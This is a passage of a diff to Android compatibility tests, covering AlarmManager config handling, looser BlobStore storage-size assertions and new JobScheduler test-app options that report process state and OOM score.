-        assertTrue("Alarm did not fire as expected", latch.await(500, TimeUnit.MILLISECONDS));
+        mAlarmManager.setWindow(RTC_WAKEUP, triggerRtc, WINDOW_LENGTH, TAG, () -> latch.countDown(),
+                null);
+        Thread.sleep(futurity + WINDOW_LENGTH);
+        assertTrue("Alarm did not fire as expected",
+                latch.await(WAIT_TIMEOUT, TimeUnit.MILLISECONDS));
     }
 
     @After
     public void deleteAlarmManagerSettings() {
-        SystemUtil.runShellCommand("settings delete global alarm_manager_constants");
-    }
-
-    private void updateAlarmManagerSettings() {
-        final StringBuffer cmd = new StringBuffer("settings put global alarm_manager_constants ");
-        cmd.append("min_futurity=0");
-        SystemUtil.runShellCommand(cmd.toString());
+        mConfigHelper.deleteAll();
     }
 }
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
index c64b4d1..f4b74de 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
@@ -16,6 +16,9 @@
 
 package android.alarmmanager.cts;
 
+import static android.app.AlarmManager.ELAPSED_REALTIME_WAKEUP;
+import static android.app.AlarmManager.RTC_WAKEUP;
+
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
@@ -26,6 +29,7 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -46,16 +50,18 @@
 /**
  * Tests that system time changes are handled appropriately for alarms
  */
+@AppModeFull
 @LargeTest
 @RunWith(AndroidJUnit4.class)
 public class TimeChangeTests {
     private static final String TAG = TimeChangeTests.class.getSimpleName();
     private static final String ACTION_ALARM = "android.alarmmanager.cts.ACTION_ALARM";
-    private static final long DEFAULT_WAIT_MILLIS = 1_000;
+    private static final long DEFAULT_WAIT_MILLIS = 5_000;
     private static final long MILLIS_IN_MINUTE = 60_000;
 
     private final Context mContext = InstrumentationRegistry.getTargetContext();
     private final AlarmManager mAlarmManager = mContext.getSystemService(AlarmManager.class);
+    private AlarmManagerDeviceConfigHelper mConfigHelper = new AlarmManagerDeviceConfigHelper();
     private PendingIntent mAlarmPi;
     private long mTestStartRtc;
     private long mTestStartElapsed;
@@ -91,14 +97,14 @@
     }
 
     @Before
-    public void setUp() {
+    public void setUp() throws Exception {
         final Intent alarmIntent = new Intent(ACTION_ALARM)
                 .setPackage(mContext.getPackageName())
                 .addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
-        mAlarmPi = PendingIntent.getBroadcast(mContext, 0, alarmIntent, 0);
+        mAlarmPi = PendingIntent.getBroadcast(mContext, 0, alarmIntent, PendingIntent.FLAG_MUTABLE);
         final IntentFilter alarmFilter = new IntentFilter(ACTION_ALARM);
         mContext.registerReceiver(mAlarmReceiver, alarmFilter);
-        SystemUtil.runShellCommand("settings put global alarm_manager_constants min_futurity=500");
+        mConfigHelper.with("min_futurity", 0L).commitAndAwaitPropagation();
         BatteryUtils.runDumpsysBatteryUnplug();
         mTestStartRtc = System.currentTimeMillis();
         mTestStartElapsed = SystemClock.elapsedRealtime();
@@ -111,8 +117,7 @@
     public void elapsedAlarmsUnaffected() throws Exception {
         final long delayElapsed = 5_000;
         final long expectedTriggerElapsed = mTestStartElapsed + delayElapsed;
-        mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP,
-                expectedTriggerElapsed, mAlarmPi);
+        mAlarmManager.setExact(ELAPSED_REALTIME_WAKEUP, expectedTriggerElapsed, mAlarmPi);
         final long newRtc = mTestStartRtc - 32 * MILLIS_IN_MINUTE; // arbitrary, shouldn't matter
         setTime(newRtc);
         Thread.sleep(delayElapsed);
@@ -125,8 +130,7 @@
         final long newRtc = mTestStartRtc + 14 * MILLIS_IN_MINUTE; // arbitrary, but in the future
         final long delayRtc = 4_231;
         final long expectedTriggerRtc = newRtc + delayRtc;
-        mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, expectedTriggerRtc,
-                mAlarmPi);
+        mAlarmManager.setExact(RTC_WAKEUP, expectedTriggerRtc, mAlarmPi);
         Thread.sleep(delayRtc);
         assertFalse("Alarm fired before time was changed",
                 mAlarmLatch.await(DEFAULT_WAIT_MILLIS, TimeUnit.MILLISECONDS));
@@ -138,7 +142,7 @@
 
     @After
     public void tearDown() {
-        SystemUtil.runShellCommand("settings delete global alarm_manager_constants");
+        mConfigHelper.deleteAll();
         BatteryUtils.runDumpsysBatteryReset();
         if (mTimeChanged) {
             // Make an attempt at resetting the clock to normal
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java
index d6b5af9..8b2a17c 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java
@@ -29,8 +29,6 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.SystemUtil;
-
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -54,6 +52,7 @@
 
     private AlarmManager mAlarmManager;
     private Context mContext;
+    private AlarmManagerDeviceConfigHelper mConfigHelper = new AlarmManagerDeviceConfigHelper();
     private ArrayList<PendingIntent> mAlarmsSet = new ArrayList<>();
 
     @Before
@@ -64,11 +63,12 @@
 
     @Test
     public void sufficientAlarmsAllowedByDefault() {
-        deleteAlarmManagerConstants();
+        mConfigHelper.without("max_alarms_per_uid").commitAndAwaitPropagation();
+
         for (int i = 1; i <= SUFFICIENT_NUM_ALARMS; i++) {
             try {
                 final PendingIntent pi = PendingIntent.getBroadcast(mContext, 0,
-                        new Intent(ACTION_PREFIX + i), 0);
+                        new Intent(ACTION_PREFIX + i), PendingIntent.FLAG_IMMUTABLE);
                 mAlarmManager.set(ALARM_TYPES[i % ALARM_TYPES.length], Long.MAX_VALUE, pi);
                 mAlarmsSet.add(pi);
             } catch (Exception e) {
@@ -84,13 +84,13 @@
         setMaxAlarmsPerUid(limit);
         for (int i = 0; i < limit; i++) {
             final PendingIntent pi = PendingIntent.getBroadcast(mContext, 0,
-                    new Intent(ACTION_PREFIX + i), 0);
+                    new Intent(ACTION_PREFIX + i), PendingIntent.FLAG_IMMUTABLE);
             mAlarmManager.set(ALARM_TYPES[i % ALARM_TYPES.length], Long.MAX_VALUE, pi);
             mAlarmsSet.add(pi);
         }
 
         final PendingIntent lastPi = PendingIntent.getBroadcast(mContext, 0,
-                new Intent(ACTION_PREFIX + limit), 0);
+                new Intent(ACTION_PREFIX + limit), PendingIntent.FLAG_IMMUTABLE);
         for (int type : ALARM_TYPES) {
             try {
                 mAlarmManager.set(type, Long.MAX_VALUE, lastPi);
@@ -103,8 +103,7 @@
     }
 
     private void setMaxAlarmsPerUid(int maxAlarmsPerUid) {
-        SystemUtil.runShellCommand("settings put global alarm_manager_constants max_alarms_per_uid="
-                + maxAlarmsPerUid);
+        mConfigHelper.with("max_alarms_per_uid", maxAlarmsPerUid).commitAndAwaitPropagation();
     }
 
     @After
@@ -117,6 +116,6 @@
 
     @After
     public void deleteAlarmManagerConstants() {
-        SystemUtil.runShellCommand("settings delete global alarm_manager_constants");
+        mConfigHelper.deleteAll();
     }
 }
diff --git a/tests/BlobStore/certs/Android.bp b/tests/BlobStore/certs/Android.bp
index cdeaa34..494f6ec 100644
--- a/tests/BlobStore/certs/Android.bp
+++ b/tests/BlobStore/certs/Android.bp
@@ -1,11 +1,5 @@
 package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-NCSA
-    default_applicable_licenses: ["cts_license"],
+    default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
 android_app_certificate {
diff --git a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
index 685d188..098a0c3 100644
--- a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
+++ b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
@@ -26,6 +26,7 @@
 import static com.android.utils.blob.Utils.triggerIdleMaintenance;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.testng.Assert.assertThrows;
 
@@ -122,6 +123,8 @@
 
     private static final byte[] EMPTY_BYTE_ARRAY = new byte[0];
 
+    private static final long DELTA_BYTES = 100 * 1024L;
+
     @Before
     public void setUp() {
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
@@ -1024,10 +1027,10 @@
                 .queryStatsForUid(UUID_DEFAULT, Process.myUid());
 
         // 'partialFileSize' bytes were written, verify the size increase.
-        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
-                .isEqualTo(partialFileSize);
-        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
-                .isEqualTo(partialFileSize);
+        assertSizeBytesMostlyEquals(partialFileSize,
+                afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes());
+        assertSizeBytesMostlyEquals(partialFileSize,
+                afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes());
 
         // Complete writing data.
         final long totalFileSize = blobData.getFileSize();
@@ -1042,10 +1045,10 @@
                 .queryStatsForUid(UUID_DEFAULT, Process.myUid());
 
         // 'totalFileSize' bytes were written so far, verify the size increase.
-        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
-                .isEqualTo(totalFileSize);
-        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
-                .isEqualTo(totalFileSize);
+        assertSizeBytesMostlyEquals(totalFileSize,
+                afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes());
+        assertSizeBytesMostlyEquals(totalFileSize,
+                afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes());
 
         // Commit the session.
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
@@ -1064,10 +1067,10 @@
 
         // Session was committed but no one else is using it, verify the size increase stays
         // the same as earlier.
-        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
-                .isEqualTo(totalFileSize);
-        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
-                .isEqualTo(totalFileSize);
+        assertSizeBytesMostlyEquals(totalFileSize,
+                afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes());
+        assertSizeBytesMostlyEquals(totalFileSize,
+                afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes());
 
         releaseLease(mContext, blobData.getBlobHandle());
         assertNoLeasedBlobs(mBlobStoreManager);
@@ -1078,10 +1081,10 @@
                 .queryStatsForUid(UUID_DEFAULT, Process.myUid());
 
         // No leases on the blob, so it should not be attributed.
-        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
-                .isEqualTo(0L);
-        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
-                .isEqualTo(0L);
+        assertSizeBytesMostlyEquals(0L,
+                afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes());
+        assertSizeBytesMostlyEquals(0L,
+                afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes());
     }
 
     @Test
@@ -1110,10 +1113,10 @@
                 .queryStatsForUid(UUID_DEFAULT, Process.myUid());
 
         // No leases on the blob, so it should not be attributed.
-        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
-                .isEqualTo(0L);
-        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
-                .isEqualTo(0L);
+        assertSizeBytesMostlyEquals(0L,
+                afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes());
+        assertSizeBytesMostlyEquals(0L,
+                afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes());
 
         final TestServiceConnection serviceConnection = bindToHelperService(HELPER_PKG);
         final ICommandReceiver commandReceiver = serviceConnection.getCommandReceiver();
@@ -1126,12 +1129,10 @@
             StorageStats afterStatsForHelperPkg = commandReceiver.queryStatsForPackage();
             StorageStats afterStatsForHelperUid = commandReceiver.queryStatsForUid();
 
-            assertThat(
-                    afterStatsForHelperPkg.getDataBytes() - beforeStatsForHelperPkg.getDataBytes())
-                    .isEqualTo(blobData.getFileSize());
-            assertThat(
-                    afterStatsForHelperUid.getDataBytes() - beforeStatsForHelperUid.getDataBytes())
-                    .isEqualTo(blobData.getFileSize());
+            assertSizeBytesMostlyEquals(blobData.getFileSize(),
+                    afterStatsForHelperPkg.getDataBytes() - beforeStatsForHelperPkg.getDataBytes());
+            assertSizeBytesMostlyEquals(blobData.getFileSize(),
+                    afterStatsForHelperUid.getDataBytes() - beforeStatsForHelperUid.getDataBytes());
 
             afterStatsForPkg = storageStatsManager
                     .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(),
@@ -1140,10 +1141,10 @@
                     .queryStatsForUid(UUID_DEFAULT, Process.myUid());
 
             // There shouldn't be no change in stats for this package
-            assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
-                    .isEqualTo(0L);
-            assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
-                    .isEqualTo(0L);
+            assertSizeBytesMostlyEquals(0L,
+                    afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes());
+            assertSizeBytesMostlyEquals(0L,
+                    afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes());
 
             commandReceiver.releaseLease(blobData.getBlobHandle());
 
@@ -1151,12 +1152,10 @@
             afterStatsForHelperUid = commandReceiver.queryStatsForUid();
 
             // Lease is released, so it should not be attributed anymore.
-            assertThat(
-                    afterStatsForHelperPkg.getDataBytes() - beforeStatsForHelperPkg.getDataBytes())
-                    .isEqualTo(0L);
-            assertThat(
-                    afterStatsForHelperUid.getDataBytes() - beforeStatsForHelperUid.getDataBytes())
-                    .isEqualTo(0L);
+            assertSizeBytesMostlyEquals(0L,
+                    afterStatsForHelperPkg.getDataBytes() - beforeStatsForHelperPkg.getDataBytes());
+            assertSizeBytesMostlyEquals(0L,
+                    afterStatsForHelperUid.getDataBytes() - beforeStatsForHelperUid.getDataBytes());
         } finally {
             serviceConnection.unbind();
         }
@@ -1182,10 +1181,10 @@
                 .queryStatsForUid(UUID_DEFAULT, Process.myUid());
 
         // No leases on the blob, so it should not be attributed.
-        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
-                .isEqualTo(0L);
-        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
-                .isEqualTo(0L);
+        assertSizeBytesMostlyEquals(0L,
+                afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes());
+        assertSizeBytesMostlyEquals(0L,
+                afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes());
 
         final long leaseExpiryDurationMs = TimeUnit.SECONDS.toMillis(5);
         acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
@@ -1197,10 +1196,10 @@
         afterStatsForUid = storageStatsManager
                 .queryStatsForUid(UUID_DEFAULT, Process.myUid());
 
-        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
-                .isEqualTo(blobData.getFileSize());
-        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
-                .isEqualTo(blobData.getFileSize());
+        assertSizeBytesMostlyEquals(blobData.getFileSize(),
+                afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes());
+        assertSizeBytesMostlyEquals(blobData.getFileSize(),
+                afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes());
 
         waitForLeaseExpiration(
                 Math.abs(leaseExpiryDurationMs - (System.currentTimeMillis() - startTimeMs)),
@@ -1212,10 +1211,10 @@
                 .queryStatsForUid(UUID_DEFAULT, Process.myUid());
 
         // Lease is expired, so it should not be attributed anymore.
-        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
-                .isEqualTo(0L);
-        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
-                .isEqualTo(0L);
+        assertSizeBytesMostlyEquals(0L,
+                afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes());
+        assertSizeBytesMostlyEquals(0L,
+                afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes());
 
         blobData.delete();
     }
@@ -1816,6 +1815,12 @@
                 () -> commandReceiver.openBlob(blobData.getBlobHandle()));
     }
 
+    private void assertSizeBytesMostlyEquals(long expected, long actual) {
+        assertWithMessage("expected:" + expected + "; actual:" + actual)
+                .that(Math.abs(expected - actual))
+                .isLessThan(DELTA_BYTES);
+    }
+
     private void waitForLeaseExpiration(long waitDurationMs, BlobHandle leasedBlob)
             throws Exception {
         SystemClock.sleep(waitDurationMs);
diff --git a/tests/JobScheduler/Android.bp b/tests/JobScheduler/Android.bp
index 9465126..c4f8018 100644
--- a/tests/JobScheduler/Android.bp
+++ b/tests/JobScheduler/Android.bp
@@ -34,6 +34,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     // sdk_version: "current",
     platform_apis: true,
diff --git a/tests/JobScheduler/AndroidManifest.xml b/tests/JobScheduler/AndroidManifest.xml
index 0c7471f..b06a7d8 100755
--- a/tests/JobScheduler/AndroidManifest.xml
+++ b/tests/JobScheduler/AndroidManifest.xml
@@ -23,8 +23,10 @@
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
     <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+    <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
+    <uses-permission android:name="android.permission.TOGGLE_AUTOMOTIVE_PROJECTION" />
     <uses-permission android:name="android.permission.WAKE_LOCK" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
diff --git a/tests/JobScheduler/AndroidTest.xml b/tests/JobScheduler/AndroidTest.xml
index d81ead1..065c346 100644
--- a/tests/JobScheduler/AndroidTest.xml
+++ b/tests/JobScheduler/AndroidTest.xml
@@ -27,6 +27,8 @@
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="cmd thermalservice override-status 0" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.jobscheduler.cts.jobtestapp" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.jobscheduler.cts.jobtestapp" />
         <option name="teardown-command" value="cmd thermalservice reset" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
@@ -34,4 +36,9 @@
         <option name="runtime-hint" value="2m" />
         <option name="isolated-storage" value="false" />
     </test>
+
+    <object type="module_controller"
+            class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="android.scheduling"/>
+    </object>
 </configuration>
diff --git a/tests/JobScheduler/JobTestApp/Android.bp b/tests/JobScheduler/JobTestApp/Android.bp
index e1f3053..b60f39f 100644
--- a/tests/JobScheduler/JobTestApp/Android.bp
+++ b/tests/JobScheduler/JobTestApp/Android.bp
@@ -24,6 +24,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
-    sdk_version: "current",
+    sdk_version: "test_current",
 }
diff --git a/tests/JobScheduler/JobTestApp/AndroidManifest.xml b/tests/JobScheduler/JobTestApp/AndroidManifest.xml
index 866c5d4..8842541 100644
--- a/tests/JobScheduler/JobTestApp/AndroidManifest.xml
+++ b/tests/JobScheduler/JobTestApp/AndroidManifest.xml
@@ -17,9 +17,11 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="android.jobscheduler.cts.jobtestapp">
 
+    <uses-permission android:name="android.permission.INTERNET" />
+
     <!-- This application schedules jobs independently of the test instrumentation to make
     it possible to test behaviour for different app states, whitelists and device idle modes -->
-    <application>
+    <application android:debuggable="true">
         <service android:name=".TestJobService"
                  android:permission="android.permission.BIND_JOB_SERVICE" />
         <activity android:name=".TestActivity"
diff --git a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestActivity.java b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestActivity.java
index 1bb500d..89a317c 100644
--- a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestActivity.java
+++ b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestActivity.java
@@ -32,7 +32,6 @@
 public class TestActivity extends Activity {
     private static final String TAG = TestActivity.class.getSimpleName();
     private static final String PACKAGE_NAME = "android.jobscheduler.cts.jobtestapp";
-    private static final long DEFAULT_WAIT_DURATION = 30_000;
 
     static final int FINISH_ACTIVITY_MSG = 1;
     public static final String ACTION_FINISH_ACTIVITY = PACKAGE_NAME + ".action.FINISH_ACTIVITY";
@@ -61,8 +60,6 @@
     public void onCreate(Bundle savedInstance) {
         Log.d(TAG, "Started test activity: " + TestActivity.class.getCanonicalName());
         super.onCreate(savedInstance);
-        // automatically finish after 30 seconds.
-        mFinishHandler.sendEmptyMessageDelayed(FINISH_ACTIVITY_MSG, DEFAULT_WAIT_DURATION);
         registerReceiver(mFinishReceiver, new IntentFilter(ACTION_FINISH_ACTIVITY));
     }
 }
diff --git a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
index 6a521f1..49fbcc8 100644
--- a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
+++ b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
@@ -22,6 +22,7 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.os.Bundle;
 import android.util.Log;
 
 /**
@@ -32,10 +33,17 @@
     private static final String TAG = TestJobSchedulerReceiver.class.getSimpleName();
     private static final String PACKAGE_NAME = "android.jobscheduler.cts.jobtestapp";
 
+    public static final String ACTION_JOB_SCHEDULE_RESULT =
+            PACKAGE_NAME + ".action.SCHEDULE_RESULT";
+    public static final String EXTRA_SCHEDULE_RESULT = PACKAGE_NAME + ".extra.SCHEDULE_RESULT";
+
     public static final String EXTRA_JOB_ID_KEY = PACKAGE_NAME + ".extra.JOB_ID";
     public static final String EXTRA_ALLOW_IN_IDLE = PACKAGE_NAME + ".extra.ALLOW_IN_IDLE";
-    public static final String EXTRA_REQUIRE_NETWORK_ANY = PACKAGE_NAME
-            + ".extra.REQUIRE_NETWORK_ANY";
+    public static final String EXTRA_REQUIRED_NETWORK_TYPE =
+            PACKAGE_NAME + ".extra.REQUIRED_NETWORK_TYPE";
+    public static final String EXTRA_AS_EXPEDITED = PACKAGE_NAME + ".extra.AS_EXPEDITED";
+    public static final String EXTRA_REQUEST_JOB_UID_STATE =
+            PACKAGE_NAME + ".extra.REQUEST_JOB_UID_STATE";
     public static final String ACTION_SCHEDULE_JOB = PACKAGE_NAME + ".action.SCHEDULE_JOB";
     public static final String ACTION_CANCEL_JOBS = PACKAGE_NAME + ".action.CANCEL_JOBS";
     public static final int JOB_INITIAL_BACKOFF = 10_000;
@@ -52,20 +60,29 @@
             case ACTION_SCHEDULE_JOB:
                 final int jobId = intent.getIntExtra(EXTRA_JOB_ID_KEY, hashCode());
                 final boolean allowInIdle = intent.getBooleanExtra(EXTRA_ALLOW_IN_IDLE, false);
-                final boolean network = intent.getBooleanExtra(EXTRA_REQUIRE_NETWORK_ANY, false);
+                final int networkType =
+                        intent.getIntExtra(EXTRA_REQUIRED_NETWORK_TYPE, JobInfo.NETWORK_TYPE_NONE);
+                final boolean expedited = intent.getBooleanExtra(EXTRA_AS_EXPEDITED, false);
+                final boolean requestJobUidState = intent.getBooleanExtra(
+                        EXTRA_REQUEST_JOB_UID_STATE, false);
+                final Bundle extras = new Bundle();
+                extras.putBoolean(EXTRA_REQUEST_JOB_UID_STATE, requestJobUidState);
                 JobInfo.Builder jobBuilder = new JobInfo.Builder(jobId, jobServiceComponent)
                         .setBackoffCriteria(JOB_INITIAL_BACKOFF, JobInfo.BACKOFF_POLICY_LINEAR)
-                        .setOverrideDeadline(0)
-                        .setImportantWhileForeground(allowInIdle);
-                if (network) {
-                    jobBuilder = jobBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY);
-                }
+                        .setTransientExtras(extras)
+                        .setImportantWhileForeground(allowInIdle)
+                        .setExpedited(expedited)
+                        .setRequiredNetworkType(networkType);
                 final int result = jobScheduler.schedule(jobBuilder.build());
                 if (result != JobScheduler.RESULT_SUCCESS) {
                     Log.e(TAG, "Could not schedule job " + jobId);
                 } else {
                     Log.d(TAG, "Successfully scheduled job with id " + jobId);
                 }
+
+                final Intent scheduleJobResultIntent = new Intent(ACTION_JOB_SCHEDULE_RESULT);
+                scheduleJobResultIntent.putExtra(EXTRA_SCHEDULE_RESULT, result);
+                context.sendBroadcast(scheduleJobResultIntent);
                 break;
             default:
                 Log.e(TAG, "Unknown action " + intent.getAction());
diff --git a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobService.java b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobService.java
index 55031c3..f41e773 100644
--- a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobService.java
+++ b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobService.java
@@ -16,23 +16,45 @@
 
 package android.jobscheduler.cts.jobtestapp;
 
+import static android.jobscheduler.cts.jobtestapp.TestJobSchedulerReceiver.EXTRA_REQUEST_JOB_UID_STATE;
+
+import android.app.ActivityManager;
 import android.app.job.JobParameters;
 import android.app.job.JobService;
 import android.content.Intent;
+import android.os.Bundle;
+import android.os.Process;
 import android.util.Log;
 
+import java.io.BufferedReader;
+import java.io.FileReader;
+import java.io.IOException;
+
 public class TestJobService extends JobService {
     private static final String TAG = TestJobService.class.getSimpleName();
     private static final String PACKAGE_NAME = "android.jobscheduler.cts.jobtestapp";
     public static final String ACTION_JOB_STARTED = PACKAGE_NAME + ".action.JOB_STARTED";
     public static final String ACTION_JOB_STOPPED = PACKAGE_NAME + ".action.JOB_STOPPED";
     public static final String JOB_PARAMS_EXTRA_KEY = PACKAGE_NAME + ".extra.JOB_PARAMETERS";
+    public static final String JOB_PROC_STATE_KEY = PACKAGE_NAME + ".extra.PROC_STATE";
+    public static final String JOB_CAPABILITIES_KEY = PACKAGE_NAME + ".extra.CAPABILITIES";
+    public static final String JOB_OOM_SCORE_ADJ_KEY = PACKAGE_NAME + ".extra.OOM_SCORE_ADJ";
+
+    // TODO: Move ProcessList.INVALID_ADJ to an app-accessible location and mark it @TestApi
+    public static final int INVALID_ADJ = -10000; // ProcessList.INVALID_ADJ
 
     @Override
     public boolean onStartJob(JobParameters params) {
         Log.i(TAG, "Test job executing: " + params.getJobId());
+        final Bundle transientExtras = params.getTransientExtras();
         final Intent reportJobStartIntent = new Intent(ACTION_JOB_STARTED);
         reportJobStartIntent.putExtra(JOB_PARAMS_EXTRA_KEY, params);
+        final boolean requestJobUidState = transientExtras != null
+                ? transientExtras.getBoolean(EXTRA_REQUEST_JOB_UID_STATE) : false;
+        if (requestJobUidState) {
+            reportJobStartIntent.putExtra(EXTRA_REQUEST_JOB_UID_STATE, true);
+            reportJobStartIntent.putExtras(getJobUidStateExtras());
+        }
         sendBroadcast(reportJobStartIntent);
         return true;
     }
@@ -45,4 +67,32 @@
         sendBroadcast(reportJobStopIntent);
         return true;
     }
+
+    private Bundle getJobUidStateExtras() {
+        final Bundle extras = new Bundle();
+        extras.putInt(JOB_PROC_STATE_KEY, getProcState());
+        extras.putInt(JOB_CAPABILITIES_KEY, getCapabilities());
+        extras.putInt(JOB_OOM_SCORE_ADJ_KEY, getOomScoreAdj());
+        return extras;
+    }
+
+    private int getProcState() {
+        final ActivityManager activityManager = getSystemService(ActivityManager.class);
+        return activityManager.getUidProcessState(Process.myUid());
+    }
+
+    private int getCapabilities() {
+        final ActivityManager activityManager = getSystemService(ActivityManager.class);
+        return activityManager.getUidProcessCapabilities(Process.myUid());
+    }
+
+    private int getOomScoreAdj() {
+        try (BufferedReader reader = new BufferedReader(
+                new FileReader("/proc/self/oom_score_adj"))) {
+            return Integer.parseInt(reader.readLine().trim());
+        } catch (IOException | NumberFormatException e) {
+            Log.e(TAG, "Error reading oom_score_adj", e);
+            return INVALID_ADJ;
+        }
+    }
 }
diff --git a/tests/JobScheduler/src/android/jobscheduler/MockJobService.java b/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
index 964853c..9fa8601 100644
--- a/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
+++ b/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
@@ -268,7 +268,7 @@
     @Override
